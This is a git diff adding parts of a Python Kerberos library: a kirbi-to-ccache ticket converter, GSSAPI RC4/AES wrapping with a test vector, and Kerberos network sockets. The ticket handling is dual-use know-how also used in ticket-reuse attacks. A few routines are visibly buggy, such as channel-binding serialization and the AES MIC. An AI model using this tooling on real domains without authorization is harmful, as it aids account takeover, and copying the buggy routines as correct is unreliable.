@@ -0,0 +1,41 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+import os
+import logging
+from minikerberos.common.ccache import CCACHE
+
+def main():
+	import argparse
+	
+	parser = argparse.ArgumentParser(description='Convert kirbi file(s) to a single ccache file')
+	parser.add_argument('kirbi', help='path to the kirbi file or a of kirbi files')
+	parser.add_argument('ccache', help='ccache file name to be created')
+	
+	parser.add_argument('-v', '--verbose', action='count', default=0)
+	
+	args = parser.parse_args()
+	if args.verbose == 0:
+		logging.basicConfig(level=logging.INFO)
+	elif args.verbose == 1:
+		logging.basicConfig(level=logging.DEBUG)
+	else:
+		logging.basicConfig(level=1)
+	
+	abs_path = os.path.abspath(args.kirbi)
+	if os.path.isdir(abs_path):	
+		logging.info('Parsing kirbi files in directory %s' % abs_path)
+		cc = CCACHE.from_kirbidir(abs_path)
+		cc.to_file(args.ccache)
+		
+	else:
+		logging.info('Parsing kirbi file %s' % abs_path)
+		cc = CCACHE.from_kirbifile(abs_path)
+		cc.to_file(args.ccache)
+		
+	logging.info('Done!')
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/minikerberos/gssapi/__init__.py b/minikerberos/gssapi/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/gssapi/channelbindings.py b/minikerberos/gssapi/channelbindings.py
new file mode 100644
index 0000000..53baea0
--- /dev/null
+++ b/minikerberos/gssapi/channelbindings.py
@@ -0,0 +1,81 @@
+
+import enum
+import io
+
+# https://www.ietf.org/rfc/rfc2744.txt   3.11. Channel Bindings
+
+class GSS_C_AF(enum.Enum):
+	UNSPEC = 0     #Unspecified address type
+	LOCAL = 1      #Host-local address type
+	INET = 2       #Internet address type (e.g. IP)
+	IMPLINK = 3    #ARPAnet IMP address type
+	PUP = 4        #pup protocols (eg BSP) address type
+	CHAOS = 5      #MIT CHAOS protocol address type
+	NS = 6         #XEROX NS address type
+	NBS = 7        #nbs address type
+	ECMA  = 8      #ECMA address type
+	DATAKIT = 9    #datakit protocols address type
+	CCITT = 10     #CCITT protocols
+	SNA = 11       #IBM SNA address type
+	DECnet = 12    #DECnet address type
+	DLI = 13       #Direct data link interface address type
+	LAT = 14       #LAT address type
+	HYLINK = 15    #NSC Hyperchannel address type
+	APPLETALK= 16  #AppleTalk address type
+	BSC = 17       #BISYNC 2780/3780 address type
+	DSS = 18       #Distributed system services address type
+	OSI = 19       #OSI TP4 address type
+	X25 = 21       #X.25
+	NULLADDR = 255 #No address specified
+
+class ChannelBindingsStruct:
+	def __init__(self):
+		self.initiator_addrtype = None #GSS_C_AF
+		self.initiator_address = None #bytes
+		self.acceptor_addrtype = None #GSS_C_AF
+		self.acceptor_address = None #bytes
+		self.application_data = None #bytes
+
+	@staticmethod
+	def from_bytes(data):
+		return ChannelBindingsStruct.from_buffer(io.BytesIO(data))
+
+	@staticmethod
+	def from_buffer(buff):
+		# TODO: parse the addresses
+		cb = ChannelBindingsStruct()
+		t = buff.read(8)
+		if t != b'\x00' * 8:
+			cb.initiator_addrtype = GSS_C_AF(int.from_bytes(t, byteorder='little', signed = False))
+			initiator_address_length = int.from_bytes(buff.read(4), byteorder='little', signed = False)
+			cb.initiator_address  = buff.read(initiator_address_length)
+		t = buff.read(8)
+		if t != b'\x00' * 8:
+			cb.acceptor_addrtype  = GSS_C_AF(int.from_bytes(buff.read(4), byteorder='little', signed = False))
+			acceptor_address_length = int.from_bytes(buff.read(4), byteorder='little', signed = False)
+			cb.acceptor_address   = buff.read(acceptor_address_length)
+		t = buff.read(8)
+		if t != b'\x00' * 8:
+			application_data_length = int.from_bytes(buff.read(4), byteorder='little', signed = False)
+			cb.application_data   = buff.read(application_data_length)
+		return cb
+
+	def to_bytes(self):
+		if self.initiator_address is None:
+			t = b'\x00' * 8
+		else:
+			t = self.initiator_addrtype.value.to_bytes(4, byteorder='little', signed = False)
+			t += len(self.initiator_address).to_bytes(4, byteorder='little', signed = False)
+			t += self.initiator_address
+		if self.acceptor_address is None:
+			t += b'\x00' * 8
+		else:
+			t += self.acceptor_addrtype
+			t += len(self.acceptor_address).to_bytes(4, byteorder='little', signed = False)
+			t += self.acceptor_address
+		if self.application_data is None:
+			t += b'\x00' * 8
+		else:
+			t += len(self.application_data).to_bytes(4, byteorder='little', signed = False)
+			t += self.application_data
+		return t
\ No newline at end of file
diff --git a/minikerberos/gssapi/gssapi.py b/minikerberos/gssapi/gssapi.py
new file mode 100644
index 0000000..d0344a5
--- /dev/null
+++ b/minikerberos/gssapi/gssapi.py
@@ -0,0 +1,412 @@
+import enum
+import io
+import os
+
+from minikerberos.protocol.constants import EncryptionType
+from minikerberos.protocol import encryption
+from minikerberos.crypto.hashing import md5, hmac_md5
+from minikerberos.crypto.RC4 import RC4
+
+#TODO: RC4 support!
+
+# https://tools.ietf.org/html/draft-raeburn-krb-rijndael-krb-05
+# https://tools.ietf.org/html/rfc2478
+# https://tools.ietf.org/html/draft-ietf-krb-wg-gssapi-cfx-02
+
+GSS_WRAP_HEADER = b'\x60\x2b\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02'
+
+class GSSAPIFlags(enum.IntFlag):
+	GSS_C_DCE_STYLE     = 0x1000
+	GSS_C_DELEG_FLAG    = 1
+	GSS_C_MUTUAL_FLAG   = 2
+	GSS_C_REPLAY_FLAG   = 4
+	GSS_C_SEQUENCE_FLAG = 8
+	GSS_C_CONF_FLAG     = 0x10
+	GSS_C_INTEG_FLAG    = 0x20
+	
+class KG_USAGE(enum.Enum):
+	ACCEPTOR_SEAL  = 22
+	ACCEPTOR_SIGN  = 23
+	INITIATOR_SEAL = 24
+	INITIATOR_SIGN = 25
+	
+class FlagsField(enum.IntFlag):
+	SentByAcceptor = 0
+	Sealed = 2
+	AcceptorSubkey = 4
+	
+# https://tools.ietf.org/html/rfc4757 (7.2)
+class GSSMIC_RC4:
+	def __init__(self):
+		self.TOK_ID = b'\x01\x01'
+		self.SGN_ALG = b'\x11\x00' #HMAC
+		self.Filler = b'\xff'*4
+		self.SND_SEQ = None
+		self.SGN_CKSUM = None
+
+	@staticmethod
+	def from_bytes(data):
+		return GSSMIC_RC4.from_buffer(io.BytesIO(data))
+	
+	@staticmethod
+	def from_buffer(buff):
+		mic = GSSMIC_RC4()
+		mic.TOK_ID = buff.read(2)
+		mic.SGN_ALG = buff.read(2)
+		mic.Filler =  buff.read(4)
+		mic.SND_SEQ = buff.read(8)
+		mic.SGN_CKSUM = buff.read(8)
+		
+		return mic
+		
+	def to_bytes(self):
+		t  = self.TOK_ID
+		t += self.SGN_ALG
+		t += self.Filler
+		t += self.SND_SEQ
+		if self.SGN_CKSUM is not None:
+			t += self.SGN_CKSUM
+	
+		return t
+		
+class GSSWRAP_RC4:
+	def __init__(self):
+		self.TOK_ID = b'\x02\x01'
+		self.SGN_ALG = b'\x11\x00' #HMAC
+		self.SEAL_ALG = None
+		self.Filler = b'\xFF' * 2
+		self.SND_SEQ = None
+		self.SGN_CKSUM = None
+		self.Confounder = None
+	
+	@staticmethod
+	def from_bytes(data):
+		return GSSWRAP_RC4.from_buffer(io.BytesIO(data))
+	
+	@staticmethod
+	def from_buffer(buff):
+		wrap = GSSWRAP_RC4()
+		wrap.TOK_ID = buff.read(2)
+		wrap.SGN_ALG = buff.read(2)
+		wrap.SEAL_ALG = buff.read(2)
+		wrap.Filler = buff.read(2)
+		wrap.SND_SEQ = buff.read(8)
+		wrap.SGN_CKSUM = buff.read(8)
+		wrap.Confounder = buff.read(8)
+		
+		return wrap
+	
+	def to_bytes(self):
+		t  = self.TOK_ID
+		t += self.SGN_ALG
+		t += self.SEAL_ALG
+		t += self.Filler
+		t += self.SND_SEQ
+		
+		if self.SGN_CKSUM:
+			t += self.SGN_CKSUM
+			if self.Confounder:
+				t += self.Confounder
+		
+	
+		return t
+		
+class GSSAPI_RC4:
+	def __init__(self, session_key):
+		self.session_key = session_key
+	
+	def GSS_GetMIC(self, data, sequenceNumber, direction = 'init'):
+		GSS_GETMIC_HEADER = b'\x60\x23\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02'
+		
+		# Let's pad the data
+		pad = (4 - (len(data) % 4)) & 0x3
+		padStr = bytes([pad]) * pad
+		data += padStr
+		
+		mic = GSSMIC_RC4()
+		
+		if direction == 'init':
+			mic.SND_SEQ = sequenceNumber.to_bytes(4, 'big', signed = False) + b'\x00'*4
+		else:
+			mic.SND_SEQ = sequenceNumber.to_bytes(4, 'big', signed = False) + b'\xff'*4
+		
+		Ksign_ctx = hmac_md5(self.session_key.contents)
+		Ksign_ctx.update(b'signaturekey\0')
+		Ksign = Ksign_ctx.digest()
+		
+		id = 15
+		temp = md5( id.to_bytes(4, 'little', signed = False) +  mic.to_bytes()[:8] ).digest()
+		chksum_ctx = hmac_md5(Ksign)
+		chksum_ctx.update(temp)
+		mic.SGN_CKSUM = chksum_ctx.digest()[:8]
+		
+		id = 0
+		temp = hmac_md5(self.session_key.contents)
+		temp.update(id.to_bytes(4, 'little', signed = False))
+		
+		Kseq_ctx = hmac_md5(temp.digest())
+		Kseq_ctx.update(mic.SGN_CKSUM)
+		Kseq = Kseq_ctx.digest()
+		
+		mic.SGN_CKSUM = RC4(Kseq).encrypt(mic.SND_SEQ)
+		
+		return GSS_GETMIC_HEADER + mic.to_bytes()
+		
+	
+	def GSS_Wrap(self, data, seq_num, direction = 'init', encrypt=True, auth_data=None):
+		GSS_WRAP_HEADER = b'\x60\x2b\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02'
+		
+		pad = (8 - (len(data) % 8)) & 0x7
+		padStr = bytes([pad]) * pad
+		data += padStr
+		
+		token = GSSWRAP_RC4()
+		token.SEAL_ALG = b'\x10\x00'
+		
+		if direction == 'init':
+			token.SND_SEQ = seq_num.to_bytes(4, 'big', signed = False) + b'\x00'*4
+		else:
+			token.SND_SEQ = seq_num.to_bytes(4, 'big', signed = False) + b'\xff'*4
+			
+		token.Confounder = os.urandom(8)
+		
+		temp = hmac_md5(self.session_key .contents)
+		temp.update(b'signaturekey\0')
+		Ksign = temp.digest()
+		
+		id = 13
+		Sgn_Cksum = md5( id.to_bytes(4, 'little', signed = False) +  token.to_bytes()[:8] + token.Confounder + data).digest()
+		temp = hmac_md5(Ksign)
+		temp.update(Sgn_Cksum)
+		token.SGN_CKSUM = temp.digest()[:8]
+		
+		
+		klocal = b''
+		for b in self.session_key .contents:
+			klocal += bytes([b ^ 0xf0])
+			
+		id = 0
+		temp = hmac_md5(klocal)
+		temp.update(id.to_bytes(4, 'little', signed = False))
+		temp = hmac_md5(temp.digest())
+		temp.update(seq_num.to_bytes(4, 'big', signed = False))
+		Kcrypt = temp.digest()
+		
+		id = 0
+		temp = hmac_md5(self.session_key .contents)
+		temp.update(id.to_bytes(4, 'little', signed = False))
+		temp = hmac_md5(temp.digest())
+		temp.update(token.SGN_CKSUM)
+		Kseq = temp.digest()
+		
+		token.SND_SEQ = RC4(Kseq).encrypt(token.SND_SEQ)
+		
+		
+		if auth_data is not None:
+			wrap = GSSWRAP_RC4.from_bytes(auth_data[8 + len(GSS_WRAP_HEADER):])
+			
+			id = 0
+			temp = hmac_md5(self.session_key .contents)
+			temp.update(id.to_bytes(4, 'little', signed = False))
+			temp = hmac_md5(temp.digest())
+			temp.update(wrap.SGN_CKSUM)
+			
+			snd_seq = RC4(temp.digest()).encrypt(wrap.SND_SEQ)
+			
+			id = 0
+			temp = hmac_md5(klocal)
+			temp.update(id.to_bytes(4, 'little', signed = False))
+			temp = hmac_md5(temp.digest())
+			temp.update(snd_seq[:4])
+			Kcrypt = temp.digest()
+			
+			rc4 = RC4(Kcrypt)
+			cipherText = rc4.decrypt(token.Confounder + data)[8:]
+			
+		elif encrypt is True:
+			rc4 = RC4(Kcrypt)
+			token.Confounder = rc4.encrypt(token.Confounder)
+			cipherText = rc4.encrypt(data)
+		
+		else:
+			cipherText = data
+			
+		finalData = GSS_WRAP_HEADER + token.to_bytes()
+		return cipherText, finalData
+		
+
+	def GSS_Unwrap(self, data, seq_num, direction='init', auth_data = None):
+		return self.GSS_Wrap(data, seq_num, direction, False, auth_data)
+	
+# 4.2.6.1. MIC Tokens
+class GSSMIC:
+	def __init__(self):
+		self.TOK_ID = b'\x04\x04'
+		self.Flags = None
+		self.Filler = b'\xFF' * 5
+		self.SND_SEQ = None
+		self.SGN_CKSUM = None
+		
+	@staticmethod
+	def from_bytes(data):
+		return GSSMIC.from_buffer(io.BytesIO(data))
+	
+	@staticmethod
+	def from_buffer(buff):
+		m = GSSMIC()
+		m.TOK_ID = buff.read(2)
+		m.Flags = FlagsField(int.from_bytes(buff.read(1), 'big', signed = False))
+		m.Filler = buff.read(5)
+		m.SND_SEQ = int.from_bytes(buff.read(8), 'big', signed = False)
+		m.SGN_CKSUM = buff.read() #should know the size based on the algo!
+		return m
+		
+	def to_bytes(self):
+		t  = self.TOK_ID
+		t += self.Flags.to_bytes(1, 'big', signed = False)
+		t += self.Filler
+		t += self.SND_SEQ.to_bytes(8, 'big', signed = False)
+		if self.SGN_CKSUM is not None:
+			t += self.SGN_CKSUM
+		
+		return t
+		
+# 4.2.6.2. Wrap Tokens
+class GSSWrapToken:
+	def __init__(self):
+		self.TOK_ID = b'\x05\x04'
+		self.Flags = None
+		self.Filler = b'\xFF'
+		self.EC = None
+		self.RRC = None
+		self.SND_SEQ = None
+		self.Data = None
+		
+	@staticmethod
+	def from_bytes(data):
+		return GSSWrapToken.from_buffer(io.BytesIO(data))
+	
+	@staticmethod
+	def from_buffer(buff):
+		m = GSSWrapToken()
+		m.TOK_ID = buff.read(2)
+		m.Flags = FlagsField(int.from_bytes(buff.read(1), 'big', signed = False))
+		m.Filler = buff.read(1)
+		m.EC = int.from_bytes(buff.read(2), 'big', signed = False)
+		m.RRC = int.from_bytes(buff.read(2), 'big', signed = False)
+		m.SND_SEQ = int.from_bytes(buff.read(8), 'big', signed = False)
+		return m
+		
+	def to_bytes(self):
+		t  = self.TOK_ID
+		t += self.Flags.to_bytes(1, 'big', signed = False)
+		t += self.Filler
+		t += self.EC.to_bytes(2, 'big', signed = False)
+		t += self.RRC.to_bytes(2, 'big', signed = False)
+		t += self.SND_SEQ.to_bytes(8, 'big', signed = False)
+		if self.Data is not None:
+			t += self.Data
+		
+		return t
+		
+class GSSAPI_AES:
+	def __init__(self, session_key, cipher_type, checksum_profile):
+		self.session_key = session_key
+		self.checksum_profile = checksum_profile
+		self.cipher_type = cipher_type
+		self.cipher = None
+		
+	def rotate(self, data, numBytes):
+		numBytes %= len(data)
+		left = len(data) - numBytes
+		result = data[left:] + data[:left]
+		return result
+		
+	def unrotate(self, data, numBytes):
+		numBytes %= len(data)
+		result = data[numBytes:] + data[:numBytes]
+		return result
+		
+	def GSS_GetMIC(self, data, seq_num):
+		pad = (4 - (len(data) % 4)) & 0x3
+		padStr = bytes([pad]) * pad
+		data += padStr
+		
+		m = GSSMIC()
+		m.Flags = FlagsField.AcceptorSubkey
+		m.SND_SEQ = seq_num
+		checksum_profile = self.checksum_profile()
+		m.checksum = checksum_profile.checksum(self.session_key, KG_USAGE.INITIATOR_SIGN.value, data + m.to_bytes()[:16])
+		
+		return m.to_bytes()
+		
+	def GSS_Wrap(self, data, seq_num):
+		cipher = self.cipher_type()
+		pad = (cipher.blocksize - (len(data) % cipher.blocksize)) & 15
+		padStr = b'\xFF' * pad
+		data += padStr
+		
+		t = GSSWrapToken()
+		t.Flags = FlagsField.Sealed | FlagsField.AcceptorSubkey
+		t.EC = pad
+		t.RRC = 0
+		t.SND_SEQ = seq_num
+		
+		cipher_text = cipher.encrypt(self.session_key, KG_USAGE.INITIATOR_SEAL.value,  data + t.to_bytes(), None)
+		t.RRC = 28 #[RFC4121] section 4.2.5
+		cipher_text = self.rotate(cipher_text, t.RRC + t.EC)
+		
+		ret1 = cipher_text[16 + t.RRC + t.EC:]
+		ret2 = t.to_bytes() + cipher_text[:16 + t.RRC + t.EC]
+		
+		return ret1, ret2
+		
+	def GSS_Unwrap(self, data, seq_num, direction='init', auth_data = None):
+		cipher = self.cipher_type()
+		t = GSSWrapToken.from_bytes(auth_data[8:])
+		rotated = auth_data[16+8:] + data
+		
+		
+		cipher_text = self.unrotate(rotated, t.RRC + t.EC)
+		plain_text = cipher.decrypt(self.session_key, KG_USAGE.ACCEPTOR_SEAL.value, cipher_text)
+		
+		return plain_text[:-(t.EC + 16)], None
+		
+def get_gssapi(session_key):
+	if session_key.enctype == encryption.Enctype.AES256:
+		return GSSAPI_AES(session_key, encryption._AES256CTS, encryption._SHA1AES256)
+	if session_key.enctype == encryption.Enctype.AES128:
+		return GSSAPI_AES(session_key, encryption._AES128CTS, encryption._SHA1AES128)
+	elif session_key.enctype == encryption.Enctype.RC4:
+		return GSSAPI_RC4(session_key)
+	else:
+		raise Exception('Unsupported etype %s' % session_key.enctype)
+		
+		
+def test():
+	data_padded= bytes.fromhex('810e00001a204de2d64fd111a3da0000f875ae0d1c4500003400000034000000008040050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffff')
+	token_1= bytes.fromhex('050406ff000c00000000000000000000')
+	cipherText_1 = bytes.fromhex('0880ed78d6196dde3f3fb23eeea650bc4ae025fa2a9c337c75c024d9d8f0186c75a4a9060e2a40a9ad024317bf5df6a86cb4a764a9ca36843f8fa4f99c03e2bde46f5a29aafc83dacdf9f0a5677446b5d910417142dc7b7ba7ded76cddc4acf9bf7ed44008cb9850e5701f2f9285dad6463ca8d0e365d4f1700f3d054e242ebcde2f3146ddd411a627af7486')
+	cipherText_2 = bytes.fromhex('08cb9850e5701f2f9285dad6463ca8d0e365d4f1700f3d054e242ebcde2f3146ddd411a627af74860880ed78d6196dde3f3fb23eeea650bc4ae025fa2a9c337c75c024d9d8f0186c75a4a9060e2a40a9ad024317bf5df6a86cb4a764a9ca36843f8fa4f99c03e2bde46f5a29aafc83dacdf9f0a5677446b5d910417142dc7b7ba7ded76cddc4acf9bf7ed440')
+
+
+
+	session_key = encryption.Key( encryption.Enctype.AES256 , bytes.fromhex('3e242e91996aadd513ecb1bc2369e44183e08e08c51550fa4b681e77f75ed8e1'))
+	data = bytes.fromhex('810e00001a204de2d64fd111a3da0000f875ae0d1c4500003400000034000000008040050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff')
+	sequenceNumber = 0
+	ret1 = bytes.fromhex('4ae025fa2a9c337c75c024d9d8f0186c75a4a9060e2a40a9ad024317bf5df6a86cb4a764a9ca36843f8fa4f99c03e2bde46f5a29aafc83dacdf9f0a5677446b5d910417142dc7b7ba7ded76cddc4acf9bf7ed440')
+	ret2 = bytes.fromhex('050406ff000c001c000000000000000008cb9850e5701f2f9285dad6463ca8d0e365d4f1700f3d054e242ebcde2f3146ddd411a627af74860880ed78d6196dde3f3fb23eeea650bc')
+	
+	gssapi = get_gssapi(session_key)
+	r1, r2 = gssapi.GSS_Wrap(data, sequenceNumber)
+	
+	gssapi.GSS_Unwrap(r1, 0, auth_data = b'\xff'*8 + r2)
+	
+	print(r1.hex())
+	print(ret1.hex())
+	
+	assert r1 == ret1
+	assert r2 == ret2
+
+if __name__ == '__main__':
+	test()
\ No newline at end of file
diff --git a/minikerberos/network/__init__.py b/minikerberos/network/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/network/aioclientsocket.py b/minikerberos/network/aioclientsocket.py
new file mode 100644
index 0000000..accde87
--- /dev/null
+++ b/minikerberos/network/aioclientsocket.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import asyncio
+
+from minikerberos.protocol.asn1_structs import KerberosResponse
+from minikerberos.common.constants import KerberosSocketType
+
+class AIOKerberosClientSocket:
+	def __init__(self, target):
+		self.target = target
+		#ip, port = 88, soc_type = KerberosSocketType.TCP
+		self.soc_type = target.protocol
+		self.dst_ip = target.ip
+		self.dst_port = int(target.port)
+		#self.soc = None
+		self.reader = None
+		self.writer = None
+		
+	def __str__(self):
+		t = '===KerberosSocket AIO===\r\n'
+		t += 'soc_type: %s\r\n' % self.soc_type
+		t += 'dst_ip: %s\r\n' % self.dst_ip
+		t += 'dst_port: %s\r\n' % self.dst_port
+		
+		return t		
+		
+	def get_addr_str(self):
+		return '%s:%d' % (self.dst_ip, self.dst_port)
+		
+	async def create_soc(self):
+		if self.soc_type == KerberosSocketType.TCP:
+			self.reader, self.writer = await asyncio.open_connection(self.dst_ip, self.dst_port)
+		
+		elif self.soc_type == KerberosSocketType.UDP:
+			raise Exception('UDP not implemented!')
+			
+		else:
+			raise Exception('Unknown socket type!')
+			
+	async def sendrecv(self, data, throw = False):
+		await self.create_soc()
+		try:
+			if self.soc_type == KerberosSocketType.TCP:				
+				length = len(data).to_bytes(4, byteorder = 'big', signed = False)
+				self.writer.write(length + data)
+				await self.writer.drain()
+				
+				t = await self.reader.readexactly(4)
+				length = int.from_bytes(t, byteorder = 'big', signed = False)
+				data = await self.reader.readexactly(length)
+				
+			elif self.soc_type == KerberosSocketType.UDP:
+				raise Exception('Not implemented!')
+			
+			krb_message = KerberosResponse.load(data)
+			return krb_message
+		finally:
+			self.writer.close()
+			self.reader = None
+			self.writer = None
+		
+		
\ No newline at end of file
diff --git a/minikerberos/network/aioclientsockssocket.py b/minikerberos/network/aioclientsockssocket.py
new file mode 100644
index 0000000..5684a84
--- /dev/null
+++ b/minikerberos/network/aioclientsockssocket.py
@@ -0,0 +1,74 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import asyncio
+
+from minikerberos.protocol.asn1_structs import KerberosResponse
+from minikerberos.common.constants import KerberosSocketType
+
+from asysocks.client import SOCKSClient
+from asysocks.common.comms import SocksQueueComms
+
+class AIOKerberosClientSocksSocket:
+	def __init__(self, target):
+		self.target = target
+		self.out_queue = None
+		self.in_queue = None
+
+		self.proxy_client = None
+		self.proxy_task = None
+		
+	def get_addr_str(self):
+		return '%s:%d' % (self.target.ip, self.target.port)
+
+	async def sendrecv(self, data):
+		self.out_queue = asyncio.Queue()
+		self.in_queue = asyncio.Queue()
+		comms = SocksQueueComms(self.out_queue, self.in_queue)
+
+		self.client = SOCKSClient(comms, self.target.proxy.target)
+		self.proxy_task = asyncio.create_task(self.client.run())
+
+		length = len(data).to_bytes(4, byteorder = 'big', signed = False)
+		await self.out_queue.put(length+data)
+
+		resp_data = b''
+		resp_data_len = -1
+		while True:
+			data, err = await self.in_queue.get()
+			if data is None:
+				break
+			if err is not None:
+				raise err
+			resp_data += data
+			if resp_data_len == -1:
+				if len(resp_data) > 4:
+					resp_data_len = int.from_bytes(resp_data[:4], byteorder = 'big', signed = False)
+					if resp_data_len == 0:
+						raise Exception('Returned data length is 0! This means the server did not understand our message')
+			
+			if resp_data_len != -1:
+				if len(resp_data) == resp_data_len + 4:
+					resp_data = resp_data[4:]
+					break
+				elif len(resp_data) > resp_data_len + 4:
+					raise Exception('Got too much data somehow')
+				else:
+					continue
+		
+		await self.out_queue.put(None)
+		if resp_data == b'':
+			raise Exception('Connection returned no data!')
+		
+		krb_message = KerberosResponse.load(resp_data)
+		return krb_message
+
+		
+	def __str__(self):
+		t = '===AIOKerberosClientProxySocket AIO===\r\n'
+		t += 'target: %s\r\n' % self.target
+		
+		return t
\ No newline at end of file
diff --git a/minikerberos/network/aioclientwsnetsocket.py b/minikerberos/network/aioclientwsnetsocket.py
new file mode 100644
index 0000000..7706cf4
--- /dev/null
+++ b/minikerberos/network/aioclientwsnetsocket.py
@@ -0,0 +1,74 @@
+
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import asyncio
+
+from minikerberos.protocol.asn1_structs import KerberosResponse
+from minikerberos.common.constants import KerberosSocketType
+
+from pyodidewsnet.client import WSNetworkTCP
+
+class AIOKerberosClientWSNETSocket:
+	def __init__(self, target):
+		self.target = target
+		self.out_queue = None
+		self.in_queue = None
+
+		self.proxy_client = None
+		self.proxy_task = None
+		
+	def get_addr_str(self):
+		return '%s:%d' % (self.target.ip, self.target.port)
+
+	async def sendrecv(self, data):
+		self.out_queue = asyncio.Queue()
+		self.in_queue = asyncio.Queue()
+		self.proxy_client = WSNetworkTCP(self.target.ip, int(self.target.port), self.in_queue, self.out_queue)
+		_, err = await self.proxy_client.run()
+		if err is not None:
+			raise err
+
+		length = len(data).to_bytes(4, byteorder = 'big', signed = False)
+		await self.out_queue.put(length+data)
+
+		resp_data = b''
+		resp_data_len = -1
+		while True:
+			data, err = await self.in_queue.get()
+			if data is None:
+				break
+			if err is not None:
+				raise err
+			resp_data += data
+			if resp_data_len == -1:
+				if len(resp_data) > 4:
+					resp_data_len = int.from_bytes(resp_data[:4], byteorder = 'big', signed = False)
+					if resp_data_len == 0:
+						raise Exception('Returned data length is 0! This means the server did not understand our message')
+			
+			if resp_data_len != -1:
+				if len(resp_data) == resp_data_len + 4:
+					resp_data = resp_data[4:]
+					break
+				elif len(resp_data) > resp_data_len + 4:
+					raise Exception('Got too much data somehow')
+				else:
+					continue
+		
+		await self.out_queue.put(None)
+		if resp_data == b'':
+			raise Exception('Connection returned no data!')
+		
+		krb_message = KerberosResponse.load(resp_data)
+		return krb_message
+
+		
+	def __str__(self):
+		t = '===AIOKerberosClientProxySocket AIO===\r\n'
+		t += 'target: %s\r\n' % self.target
+		
+		return t
\ No newline at end of file
diff --git a/minikerberos/network/clientsocket.py b/minikerberos/network/clientsocket.py
new file mode 100644
index 0000000..2aeafdb
--- /dev/null
+++ b/minikerberos/network/clientsocket.py
@@ -0,0 +1,90 @@
+
+import socket
+
+from minikerberos.protocol.asn1_structs import KerberosResponse
+from minikerberos.common.constants import KerberosSocketType
+from minikerberos.protocol.errors import KerberosErrorCode, KerberosError
+
+
+class KerberosClientSocket:
+	def __init__(self, target):
+		self.target = target
+		#ip, port = 88, soc_type = KerberosSocketType.TCP
+		self.soc_type = target.protocol
+		self.dst_ip = target.ip
+		self.dst_port = int(target.port)
+		self.soc = None
+		
+	def __str__(self):
+		t = '===KerberosClientSocket===\r\n'
+		t += 'soc_type: %s\r\n' % self.soc_type
+		t += 'dst_ip: %s\r\n' % self.dst_ip
+		t += 'dst_port: %s\r\n' % self.dst_port
+		
+		return t
+
+	def get_addr_str(self):
+		return '%s:%d' % (self.dst_ip, self.dst_port)
+		
+	def create_soc(self):
+		if self.soc_type == KerberosSocketType.TCP:
+			self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			self.soc.connect((self.dst_ip, self.dst_port))
+
+		elif self.soc_type == KerberosSocketType.UDP:
+			self.soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+			
+		else:
+			raise Exception('Unknown socket type!')
+			
+	def sendrecv(self, data, throw = True):
+		#throw variable indicates wether to create an exception when a kerberos error happens or just return the kerberos error"
+		#for any other exceptions types (eg. connection related errors) an exception will be raised regardless
+
+		self.create_soc()
+		try:
+			if self.soc_type == KerberosSocketType.TCP:
+				length = len(data).to_bytes(4, byteorder = 'big', signed = False)
+				self.soc.sendall(length + data)
+				buff = b''
+				total_length = -1
+				while True:
+					temp = b''
+					temp = self.soc.recv(4096)
+					if temp == b'':
+						break
+					buff += temp
+					if total_length == -1:
+						if len(buff) > 4:
+							total_length = int.from_bytes(buff[:4], byteorder = 'big', signed = False)
+							if total_length == 0:
+								raise Exception('Returned data length is 0! This means the server did not understand our message')
+					
+					if total_length != -1:
+						if len(buff) == total_length + 4:
+							buff = buff[4:]
+							break
+						elif len(buff) > total_length + 4:
+							raise Exception('Got too much data somehow')
+						else:
+							continue
+							
+				
+			elif self.soc_type == KerberosSocketType.UDP:
+				self.soc.sendto(data, (self.dst_ip, self.dst_port))
+				while True:
+					buff, addr = self.soc.recvfrom(65535)
+					if addr[0] == self.dst_ip:
+						break
+					else:
+						# got a message from a different IP than the target, strange!
+						# continuing, but this might result in an infinite loop
+						continue
+			if buff == b'':
+				raise Exception('Server closed the connection!')
+			krb_message = KerberosResponse.load(buff)
+			if krb_message.name == 'KRB_ERROR' and throw == True:
+				raise KerberosError(krb_message)
+			return krb_message
+		finally:
+			self.soc.close()
diff --git a/minikerberos/network/selector.py b/minikerberos/network/selector.py
new file mode 100644
index 0000000..8331ca0
--- /dev/null
+++ b/minikerberos/network/selector.py
@@ -0,0 +1,17 @@
+from minikerberos.network.clientsocket import KerberosClientSocket
+from minikerberos.network.aioclientsocket import AIOKerberosClientSocket
+from minikerberos.network.aioclientsockssocket import AIOKerberosClientSocksSocket
+
+class KerberosClientSocketSelector:
+    def __init__(self):
+        pass
+    
+    @staticmethod
+    def select(target, is_async = False):
+        if is_async is False:
+            return KerberosClientSocket(target)
+        else:
+            if target.proxy is not None:
+                return AIOKerberosClientSocksSocket(target)
+            else:
+                return AIOKerberosClientSocket(target)
\ No newline at end of file
diff --git a/minikerberos/protocol/__init__.py b/minikerberos/protocol/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/minikerberos/protocol/asn1_structs.py b/minikerberos/protocol/asn1_structs.py
new file mode 100644
index 0000000..0345801
--- /dev/null
+++ b/minikerberos/protocol/asn1_structs.py
@@ -0,0 +1,893 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+# Sources used:
+# https://zeroshell.org/kerberos/kerberos-operation/
+# https://tools.ietf.org/html/rfc4120
+# https://tools.ietf.org/html/rfc6113 (FAST extension)
+
+# TODO:
+# https://tools.ietf.org/html/rfc4556
+
+from asn1crypto import core
+import enum
+import os
+
+# KerberosV5Spec2 DEFINITIONS EXPLICIT TAGS ::=
+TAG = 'explicit'
+
+# class
+UNIVERSAL = 0
